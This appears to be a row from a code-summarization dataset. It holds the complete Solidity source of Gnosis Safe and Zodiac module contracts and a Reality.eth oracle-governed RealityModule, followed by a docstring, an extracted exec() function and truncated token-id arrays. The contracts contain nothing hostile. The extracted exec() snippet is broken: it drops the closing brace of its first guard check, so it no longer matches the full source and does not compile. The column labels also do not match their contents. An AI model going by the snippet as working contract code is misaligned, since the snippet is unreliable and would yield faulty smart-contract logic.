file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
sequence | attention_mask
sequence | labels
sequence |
---|---|---|---|---|---|---|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title Enum - Collection of enums
/// @author Richard Meissner - <[email protected]>
contract Enum {
enum Operation {Call, DelegateCall}
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @notice More details at https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: LGPL-3.0-only
/// @title Module Interface - A contract that can pass messages to a Module Manager contract if enabled by that contract.
pragma solidity >=0.7.0 <0.9.0;
import "../interfaces/IAvatar.sol";
import "../factory/FactoryFriendly.sol";
import "../guard/Guardable.sol";
abstract contract Module is FactoryFriendly, Guardable {
/// @dev Emitted each time the avatar is set.
event AvatarSet(address indexed previousAvatar, address indexed newAvatar);
/// @dev Emitted each time the Target is set.
event TargetSet(address indexed previousTarget, address indexed newTarget);
/// @dev Address that will ultimately execute function calls.
address public avatar;
/// @dev Address that this module will pass transactions to.
address public target;
/// @dev Sets the avatar to a new avatar (`newAvatar`).
/// @notice Can only be called by the current owner.
function setAvatar(address _avatar) public onlyOwner {
address previousAvatar = avatar;
avatar = _avatar;
emit AvatarSet(previousAvatar, _avatar);
}
/// @dev Sets the target to a new target (`newTarget`).
/// @notice Can only be called by the current owner.
function setTarget(address _target) public onlyOwner {
address previousTarget = target;
target = _target;
emit TargetSet(previousTarget, _target);
}
/// @dev Passes a transaction to be executed by the avatar.
/// @notice Can only be called by this contract.
/// @param to Destination address of module transaction.
/// @param value Ether value of module transaction.
/// @param data Data payload of module transaction.
/// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.
function exec(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) internal returns (bool success) {
/// check if a transactioon guard is enabled.
if (guard != address(0)) {
IGuard(guard).checkTransaction(
/// Transaction info used by module transactions
to,
value,
data,
operation,
/// Zero out the redundant transaction information only used for Safe multisig transctions
0,
0,
0,
address(0),
payable(0),
bytes("0x"),
address(0)
);
}
success = IAvatar(target).execTransactionFromModule(
to,
value,
data,
operation
);
if (guard != address(0)) {
IGuard(guard).checkAfterExecution(bytes32("0x"), success);
}
return success;
}
/// @dev Passes a transaction to be executed by the target and returns data.
/// @notice Can only be called by this contract.
/// @param to Destination address of module transaction.
/// @param value Ether value of module transaction.
/// @param data Data payload of module transaction.
/// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.
function execAndReturnData(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) internal returns (bool success, bytes memory returnData) {
/// check if a transactioon guard is enabled.
if (guard != address(0)) {
IGuard(guard).checkTransaction(
/// Transaction info used by module transactions
to,
value,
data,
operation,
/// Zero out the redundant transaction information only used for Safe multisig transctions
0,
0,
0,
address(0),
payable(0),
bytes("0x"),
address(0)
);
}
(success, returnData) = IAvatar(target)
.execTransactionFromModuleReturnData(to, value, data, operation);
if (guard != address(0)) {
IGuard(guard).checkAfterExecution(bytes32("0x"), success);
}
return (success, returnData);
}
}
// SPDX-License-Identifier: LGPL-3.0-only
/// @title Zodiac FactoryFriendly - A contract that allows other contracts to be initializable and pass bytes as arguments to define contract state
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
abstract contract FactoryFriendly is OwnableUpgradeable {
function setUp(bytes memory initializeParams) public virtual;
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
import "@gnosis.pm/safe-contracts/contracts/interfaces/IERC165.sol";
import "../interfaces/IGuard.sol";
abstract contract BaseGuard is IERC165 {
function supportsInterface(bytes4 interfaceId)
external
pure
override
returns (bool)
{
return
interfaceId == type(IGuard).interfaceId || // 0xe6d7a83a
interfaceId == type(IERC165).interfaceId; // 0x01ffc9a7
}
/// Module transactions only use the first four parameters: to, value, data, and operation.
/// Module.sol hardcodes the remaining parameters as 0 since they are not used for module transactions.
/// This interface is used to maintain compatibilty with Gnosis Safe transaction guards.
function checkTransaction(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 safeTxGas,
uint256 baseGas,
uint256 gasPrice,
address gasToken,
address payable refundReceiver,
bytes memory signatures,
address msgSender
) external virtual;
function checkAfterExecution(bytes32 txHash, bool success) external virtual;
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@gnosis.pm/safe-contracts/contracts/interfaces/IERC165.sol";
import "./BaseGuard.sol";
/// @title Guardable - A contract that manages fallback calls made to this contract
contract Guardable is OwnableUpgradeable {
event ChangedGuard(address guard);
address public guard;
/// @dev Set a guard that checks transactions before execution
/// @param _guard The address of the guard to be used or the 0 address to disable the guard
function setGuard(address _guard) external onlyOwner {
if (_guard != address(0)) {
require(
BaseGuard(_guard).supportsInterface(type(IGuard).interfaceId),
"Guard does not implement IERC165"
);
}
guard = _guard;
emit ChangedGuard(guard);
}
function getGuard() external view returns (address _guard) {
return guard;
}
}
// SPDX-License-Identifier: LGPL-3.0-only
/// @title Zodiac Avatar - A contract that manages modules that can execute transactions via this contract.
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
interface IAvatar {
/// @dev Enables a module on the avatar.
/// @notice Can only be called by the avatar.
/// @notice Modules should be stored as a linked list.
/// @notice Must emit EnabledModule(address module) if successful.
/// @param module Module to be enabled.
function enableModule(address module) external;
/// @dev Disables a module on the avatar.
/// @notice Can only be called by the avatar.
/// @notice Must emit DisabledModule(address module) if successful.
/// @param prevModule Address that pointed to the module to be removed in the linked list
/// @param module Module to be removed.
function disableModule(address prevModule, address module) external;
/// @dev Allows a Module to execute a transaction.
/// @notice Can only be called by an enabled module.
/// @notice Must emit ExecutionFromModuleSuccess(address module) if successful.
/// @notice Must emit ExecutionFromModuleFailure(address module) if unsuccessful.
/// @param to Destination address of module transaction.
/// @param value Ether value of module transaction.
/// @param data Data payload of module transaction.
/// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.
function execTransactionFromModule(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) external returns (bool success);
/// @dev Allows a Module to execute a transaction and return data
/// @notice Can only be called by an enabled module.
/// @notice Must emit ExecutionFromModuleSuccess(address module) if successful.
/// @notice Must emit ExecutionFromModuleFailure(address module) if unsuccessful.
/// @param to Destination address of module transaction.
/// @param value Ether value of module transaction.
/// @param data Data payload of module transaction.
/// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.
function execTransactionFromModuleReturnData(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) external returns (bool success, bytes memory returnData);
/// @dev Returns if an module is enabled
/// @return True if the module is enabled
function isModuleEnabled(address module) external view returns (bool);
/// @dev Returns array of modules.
/// @param start Start of the page.
/// @param pageSize Maximum number of modules that should be returned.
/// @return array Array of modules.
/// @return next Start of the next page.
function getModulesPaginated(address start, uint256 pageSize)
external
view
returns (address[] memory array, address next);
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
interface IGuard {
function checkTransaction(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 safeTxGas,
uint256 baseGas,
uint256 gasPrice,
address gasToken,
address payable refundReceiver,
bytes memory signatures,
address msgSender
) external;
function checkAfterExecution(bytes32 txHash, bool success) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.8.0;
import "@gnosis.pm/zodiac/contracts/core/Module.sol";
import "./interfaces/RealitioV3.sol";
abstract contract RealityModule is Module {
bytes32 public constant INVALIDATED =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
bytes32 public constant DOMAIN_SEPARATOR_TYPEHASH =
0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218;
// keccak256(
// "EIP712Domain(uint256 chainId,address verifyingContract)"
// );
bytes32 public constant TRANSACTION_TYPEHASH =
0x72e9670a7ee00f5fbf1049b8c38e3f22fab7e9b85029e85cf9412f17fdd5c2ad;
// keccak256(
// "Transaction(address to,uint256 value,bytes data,uint8 operation,uint256 nonce)"
// );
event ProposalQuestionCreated(
bytes32 indexed questionId,
string indexed proposalId
);
event RealityModuleSetup(
address indexed initiator,
address indexed owner,
address indexed avatar,
address target
);
RealitioV3 public oracle;
uint256 public template;
uint32 public questionTimeout;
uint32 public questionCooldown;
uint32 public answerExpiration;
address public questionArbitrator;
uint256 public minimumBond;
// Mapping of question hash to question id. Special case: INVALIDATED for question hashes that have been invalidated
mapping(bytes32 => bytes32) public questionIds;
// Mapping of questionHash to transactionHash to execution state
mapping(bytes32 => mapping(bytes32 => bool))
public executedProposalTransactions;
/// @param _owner Address of the owner
/// @param _avatar Address of the avatar (e.g. a Safe)
/// @param _target Address of the contract that will call exec function
/// @param _oracle Address of the oracle (e.g. Realitio)
/// @param timeout Timeout in seconds that should be required for the oracle
/// @param cooldown Cooldown in seconds that should be required after a oracle provided answer
/// @param expiration Duration that a positive answer of the oracle is valid in seconds (or 0 if valid forever)
/// @param bond Minimum bond that is required for an answer to be accepted
/// @param templateId ID of the template that should be used for proposal questions (see https://github.com/realitio/realitio-dapp#structuring-and-fetching-information)
/// @notice There need to be at least 60 seconds between end of cooldown and expiration
constructor(
address _owner,
address _avatar,
address _target,
RealitioV3 _oracle,
uint32 timeout,
uint32 cooldown,
uint32 expiration,
uint256 bond,
uint256 templateId
) {
bytes memory initParams = abi.encode(
_owner,
_avatar,
_target,
_oracle,
timeout,
cooldown,
expiration,
bond,
templateId
);
setUp(initParams);
}
function setUp(bytes memory initParams) public override {
(
address _owner,
address _avatar,
address _target,
RealitioV3 _oracle,
uint32 timeout,
uint32 cooldown,
uint32 expiration,
uint256 bond,
uint256 templateId
) = abi.decode(
initParams,
(
address,
address,
address,
RealitioV3,
uint32,
uint32,
uint32,
uint256,
uint256
)
);
__Ownable_init();
require(_avatar != address(0), "Avatar can not be zero address");
require(_target != address(0), "Target can not be zero address");
require(timeout > 0, "Timeout has to be greater 0");
require(
expiration == 0 || expiration - cooldown >= 60,
"There need to be at least 60s between end of cooldown and expiration"
);
avatar = _avatar;
target = _target;
oracle = _oracle;
answerExpiration = expiration;
questionTimeout = timeout;
questionCooldown = cooldown;
questionArbitrator = address(oracle);
minimumBond = bond;
template = templateId;
transferOwnership(_owner);
emit RealityModuleSetup(msg.sender, _owner, avatar, target);
}
/// @notice This can only be called by the owner
function setQuestionTimeout(uint32 timeout) public onlyOwner {
require(timeout > 0, "Timeout has to be greater 0");
questionTimeout = timeout;
}
/// @dev Sets the cooldown before an answer is usable.
/// @param cooldown Cooldown in seconds that should be required after a oracle provided answer
/// @notice This can only be called by the owner
/// @notice There need to be at least 60 seconds between end of cooldown and expiration
function setQuestionCooldown(uint32 cooldown) public onlyOwner {
uint32 expiration = answerExpiration;
require(
expiration == 0 || expiration - cooldown >= 60,
"There need to be at least 60s between end of cooldown and expiration"
);
questionCooldown = cooldown;
}
/// @dev Sets the duration for which a positive answer is valid.
/// @param expiration Duration that a positive answer of the oracle is valid in seconds (or 0 if valid forever)
/// @notice A proposal with an expired answer is the same as a proposal that has been marked invalid
/// @notice There need to be at least 60 seconds between end of cooldown and expiration
/// @notice This can only be called by the owner
function setAnswerExpiration(uint32 expiration) public onlyOwner {
require(
expiration == 0 || expiration - questionCooldown >= 60,
"There need to be at least 60s between end of cooldown and expiration"
);
answerExpiration = expiration;
}
/// @dev Sets the question arbitrator that will be used for future questions.
/// @param arbitrator Address of the arbitrator
/// @notice This can only be called by the owner
function setArbitrator(address arbitrator) public onlyOwner {
questionArbitrator = arbitrator;
}
/// @dev Sets the minimum bond that is required for an answer to be accepted.
/// @param bond Minimum bond that is required for an answer to be accepted
/// @notice This can only be called by the owner
function setMinimumBond(uint256 bond) public onlyOwner {
minimumBond = bond;
}
/// @dev Sets the template that should be used for future questions.
/// @param templateId ID of the template that should be used for proposal questions
/// @notice Check https://github.com/realitio/realitio-dapp#structuring-and-fetching-information for more information
/// @notice This can only be called by the owner
function setTemplate(uint256 templateId) public onlyOwner {
template = templateId;
}
/// @dev Function to add a proposal that should be considered for execution
/// @param proposalId Id that should identify the proposal uniquely
/// @param txHashes EIP-712 hashes of the transactions that should be executed
/// @notice The nonce used for the question by this function is always 0
function addProposal(string memory proposalId, bytes32[] memory txHashes)
public
{
addProposalWithNonce(proposalId, txHashes, 0);
}
/// @dev Function to add a proposal that should be considered for execution
/// @param proposalId Id that should identify the proposal uniquely
/// @param txHashes EIP-712 hashes of the transactions that should be executed
/// @param nonce Nonce that should be used when asking the question on the oracle
function addProposalWithNonce(
string memory proposalId,
bytes32[] memory txHashes,
uint256 nonce
) public {
// We generate the question string used for the oracle
string memory question = buildQuestion(proposalId, txHashes);
bytes32 questionHash = keccak256(bytes(question));
if (nonce > 0) {
// Previous nonce must have been invalidated by the oracle.
// However, if the proposal was internally invalidated, it should not be possible to ask it again.
bytes32 currentQuestionId = questionIds[questionHash];
require(
currentQuestionId != INVALIDATED,
"This proposal has been marked as invalid"
);
require(
oracle.resultFor(currentQuestionId) == INVALIDATED,
"Previous proposal was not invalidated"
);
} else {
require(
questionIds[questionHash] == bytes32(0),
"Proposal has already been submitted"
);
}
bytes32 expectedQuestionId = getQuestionId(question, nonce);
// Set the question hash for this question id
questionIds[questionHash] = expectedQuestionId;
bytes32 questionId = askQuestion(question, nonce);
require(expectedQuestionId == questionId, "Unexpected question id");
emit ProposalQuestionCreated(questionId, proposalId);
}
function askQuestion(string memory question, uint256 nonce)
internal
virtual
returns (bytes32);
/// @dev Marks a proposal as invalid, preventing execution of the connected transactions
/// @param proposalId Id that should identify the proposal uniquely
/// @param txHashes EIP-712 hashes of the transactions that should be executed
/// @notice This can only be called by the owner
function markProposalAsInvalid(
string memory proposalId,
bytes32[] memory txHashes // owner only is checked in markProposalAsInvalidByHash(bytes32)
) public {
string memory question = buildQuestion(proposalId, txHashes);
bytes32 questionHash = keccak256(bytes(question));
markProposalAsInvalidByHash(questionHash);
}
/// @dev Marks a question hash as invalid, preventing execution of the connected transactions
/// @param questionHash Question hash calculated based on the proposal id and txHashes
/// @notice This can only be called by the owner
function markProposalAsInvalidByHash(bytes32 questionHash)
public
onlyOwner
{
questionIds[questionHash] = INVALIDATED;
}
/// @dev Marks a proposal with an expired answer as invalid, preventing execution of the connected transactions
/// @param questionHash Question hash calculated based on the proposal id and txHashes
function markProposalWithExpiredAnswerAsInvalid(bytes32 questionHash)
public
{
uint32 expirationDuration = answerExpiration;
require(expirationDuration > 0, "Answers are valid forever");
bytes32 questionId = questionIds[questionHash];
require(questionId != INVALIDATED, "Proposal is already invalidated");
require(
questionId != bytes32(0),
"No question id set for provided proposal"
);
require(
oracle.resultFor(questionId) == bytes32(uint256(1)),
"Only positive answers can expire"
);
uint32 finalizeTs = oracle.getFinalizeTS(questionId);
require(
finalizeTs + uint256(expirationDuration) < block.timestamp,
"Answer has not expired yet"
);
questionIds[questionHash] = INVALIDATED;
}
/// @dev Executes the transactions of a proposal via the target if accepted
/// @param proposalId Id that should identify the proposal uniquely
/// @param txHashes EIP-712 hashes of the transactions that should be executed
/// @param to Target of the transaction that should be executed
/// @param value Wei value of the transaction that should be executed
/// @param data Data of the transaction that should be executed
/// @param operation Operation (Call or Delegatecall) of the transaction that should be executed
/// @notice The txIndex used by this function is always 0
function executeProposal(
string memory proposalId,
bytes32[] memory txHashes,
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) public {
executeProposalWithIndex(
proposalId,
txHashes,
to,
value,
data,
operation,
0
);
}
/// @dev Executes the transactions of a proposal via the target if accepted
/// @param proposalId Id that should identify the proposal uniquely
/// @param txHashes EIP-712 hashes of the transactions that should be executed
/// @param to Target of the transaction that should be executed
/// @param value Wei value of the transaction that should be executed
/// @param data Data of the transaction that should be executed
/// @param operation Operation (Call or Delegatecall) of the transaction that should be executed
/// @param txIndex Index of the transaction hash in txHashes. This is used as the nonce for the transaction, to make the tx hash unique
function executeProposalWithIndex(
string memory proposalId,
bytes32[] memory txHashes,
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 txIndex
) public {
// We use the hash of the question to check the execution state, as the other parameters might change, but the question not
bytes32 questionHash = keccak256(
bytes(buildQuestion(proposalId, txHashes))
);
// Lookup question id for this proposal
bytes32 questionId = questionIds[questionHash];
// Question hash needs to set to be eligible for execution
require(
questionId != bytes32(0),
"No question id set for provided proposal"
);
require(questionId != INVALIDATED, "Proposal has been invalidated");
bytes32 txHash = getTransactionHash(
to,
value,
data,
operation,
txIndex
);
require(txHashes[txIndex] == txHash, "Unexpected transaction hash");
// Check that the result of the question is 1 (true)
require(
oracle.resultFor(questionId) == bytes32(uint256(1)),
"Transaction was not approved"
);
uint256 minBond = minimumBond;
require(
minBond == 0 || minBond <= oracle.getBond(questionId),
"Bond on question not high enough"
);
uint32 finalizeTs = oracle.getFinalizeTS(questionId);
// The answer is valid in the time after the cooldown and before the expiration time (if set).
require(
finalizeTs + uint256(questionCooldown) < block.timestamp,
"Wait for additional cooldown"
);
uint32 expiration = answerExpiration;
require(
expiration == 0 ||
finalizeTs + uint256(expiration) >= block.timestamp,
"Answer has expired"
);
// Check this is either the first transaction in the list or that the previous question was already approved
require(
txIndex == 0 ||
executedProposalTransactions[questionHash][
txHashes[txIndex - 1]
],
"Previous transaction not executed yet"
);
// Check that this question was not executed yet
require(
!executedProposalTransactions[questionHash][txHash],
"Cannot execute transaction again"
);
// Mark transaction as executed
executedProposalTransactions[questionHash][txHash] = true;
// Execute the transaction via the target.
require(exec(to, value, data, operation), "Module transaction failed");
}
/// @dev Build the question by combining the proposalId and the hex string of the hash of the txHashes
/// @param proposalId Id of the proposal that proposes to execute the transactions represented by the txHashes
/// @param txHashes EIP-712 Hashes of the transactions that should be executed
function buildQuestion(string memory proposalId, bytes32[] memory txHashes)
public
pure
returns (string memory)
{
string memory txsHash = bytes32ToAsciiString(
keccak256(abi.encodePacked(txHashes))
);
return string(abi.encodePacked(proposalId, bytes3(0xe2909f), txsHash));
}
/// @dev Generate the question id.
/// @notice It is required that this is the same as for the oracle implementation used.
function getQuestionId(string memory question, uint256 nonce)
public
view
returns (bytes32)
{
// Ask the question with a starting time of 0, so that it can be immediately answered
bytes32 contentHash = keccak256(
abi.encodePacked(template, uint32(0), question)
);
return
keccak256(
abi.encodePacked(
contentHash,
questionArbitrator,
questionTimeout,
minimumBond,
oracle,
this,
nonce
)
);
}
/// @dev Returns the chain id used by this contract.
function getChainId() public view returns (uint256) {
uint256 id;
// solium-disable-next-line security/no-inline-assembly
assembly {
id := chainid()
}
return id;
}
/// @dev Generates the data for the module transaction hash (required for signing)
function generateTransactionHashData(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 nonce
) public view returns (bytes memory) {
uint256 chainId = getChainId();
bytes32 domainSeparator = keccak256(
abi.encode(DOMAIN_SEPARATOR_TYPEHASH, chainId, this)
);
bytes32 transactionHash = keccak256(
abi.encode(
TRANSACTION_TYPEHASH,
to,
value,
keccak256(data),
operation,
nonce
)
);
return
abi.encodePacked(
bytes1(0x19),
bytes1(0x01),
domainSeparator,
transactionHash
);
}
function getTransactionHash(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 nonce
) public view returns (bytes32) {
return
keccak256(
generateTransactionHashData(to, value, data, operation, nonce)
);
}
function bytes32ToAsciiString(bytes32 _bytes)
internal
pure
returns (string memory)
{
bytes memory s = new bytes(64);
for (uint256 i = 0; i < 32; i++) {
uint8 b = uint8(bytes1(_bytes << (i * 8)));
uint8 hi = uint8(b) / 16;
uint8 lo = uint8(b) % 16;
s[2 * i] = char(hi);
s[2 * i + 1] = char(lo);
}
return string(s);
}
function char(uint8 b) internal pure returns (bytes1 c) {
if (b < 10) return bytes1(b + 0x30);
else return bytes1(b + 0x57);
}
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.8.0;
import "./RealityModule.sol";
import "./interfaces/RealitioV3.sol";
contract RealityModuleERC20 is RealityModule {
/// @param _owner Address of the owner
/// @param _avatar Address of the avatar (e.g. a Safe)
/// @param _target Address of the contract that will call exec function
/// @param _oracle Address of the oracle (e.g. Realitio)
/// @param timeout Timeout in seconds that should be required for the oracle
/// @param cooldown Cooldown in seconds that should be required after a oracle provided answer
/// @param expiration Duration that a positive answer of the oracle is valid in seconds (or 0 if valid forever)
/// @param bond Minimum bond that is required for an answer to be accepted
/// @param templateId ID of the template that should be used for proposal questions (see https://github.com/realitio/realitio-dapp#structuring-and-fetching-information)
/// @notice There need to be at least 60 seconds between end of cooldown and expiration
constructor(
address _owner,
address _avatar,
address _target,
RealitioV3 _oracle,
uint32 timeout,
uint32 cooldown,
uint32 expiration,
uint256 bond,
uint256 templateId
)
RealityModule(
_owner,
_avatar,
_target,
_oracle,
timeout,
cooldown,
expiration,
bond,
templateId
)
{}
function askQuestion(string memory question, uint256 nonce)
internal
override
returns (bytes32)
{
// Ask the question with a starting time of 0, so that it can be immediately answered
return
RealitioV3ERC20(address(oracle)).askQuestionWithMinBondERC20(
template,
question,
questionArbitrator,
questionTimeout,
0,
nonce,
minimumBond,
0
);
}
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.8.0;
interface RealitioV3 {
/// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized
function isFinalized(bytes32 question_id) external view returns (bool);
/// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32
function resultFor(bytes32 question_id) external view returns (bytes32);
/// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question
function getFinalizeTS(bytes32 question_id) external view returns (uint32);
/// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question
function isPendingArbitration(bytes32 question_id)
external
view
returns (bool);
/// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially.
function createTemplate(string calldata content) external returns (uint256);
/// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question
function getBond(bytes32 question_id) external view returns (uint256);
/// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question
function getContentHash(bytes32 question_id)
external
view
returns (bytes32);
}
interface RealitioV3ETH is RealitioV3 {
/// @notice Ask a new question and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @param min_bond The minimum bond that may be used for an answer.
/// @return The ID of the newly-created question, created deterministically.
function askQuestionWithMinBond(
uint256 template_id,
string memory question,
address arbitrator,
uint32 timeout,
uint32 opening_ts,
uint256 nonce,
uint256 min_bond
) external payable returns (bytes32);
}
interface RealitioV3ERC20 is RealitioV3 {
/// @notice Ask a new question and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @param min_bond The minimum bond that may be used for an answer.
/// @param tokens Number of tokens sent
/// @return The ID of the newly-created question, created deterministically.
function askQuestionWithMinBondERC20(
uint256 template_id,
string memory question,
address arbitrator,
uint32 timeout,
uint32 opening_ts,
uint256 nonce,
uint256 min_bond,
uint256 tokens
) external returns (bytes32);
}
| @dev Passes a transaction to be executed by the avatar. @notice Can only be called by this contract. @param to Destination address of module transaction. @param value Ether value of module transaction. @param data Data payload of module transaction. @param operation Operation type of module transaction: 0 == call, 1 == delegate call. check if a transactioon guard is enabled. | function exec(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) internal returns (bool success) {
if (guard != address(0)) {
IGuard(guard).checkTransaction(
to,
value,
data,
operation,
0,
0,
0,
address(0),
payable(0),
bytes("0x"),
address(0)
);
success = IAvatar(target).execTransactionFromModule(
to,
value,
data,
operation
);
if (guard != address(0)) {
IGuard(guard).checkAfterExecution(bytes32("0x"), success);
}
return success;
}
| 1,390,494 | [
1,
6433,
281,
279,
2492,
358,
506,
7120,
635,
326,
16910,
18,
225,
4480,
1338,
506,
2566,
635,
333,
6835,
18,
225,
358,
10691,
1758,
434,
1605,
2492,
18,
225,
460,
512,
1136,
460,
434,
1605,
2492,
18,
225,
501,
1910,
2385,
434,
1605,
2492,
18,
225,
1674,
4189,
618,
434,
1605,
2492,
30,
374,
422,
745,
16,
404,
422,
7152,
745,
18,
866,
309,
279,
906,
621,
1594,
265,
11026,
353,
3696,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
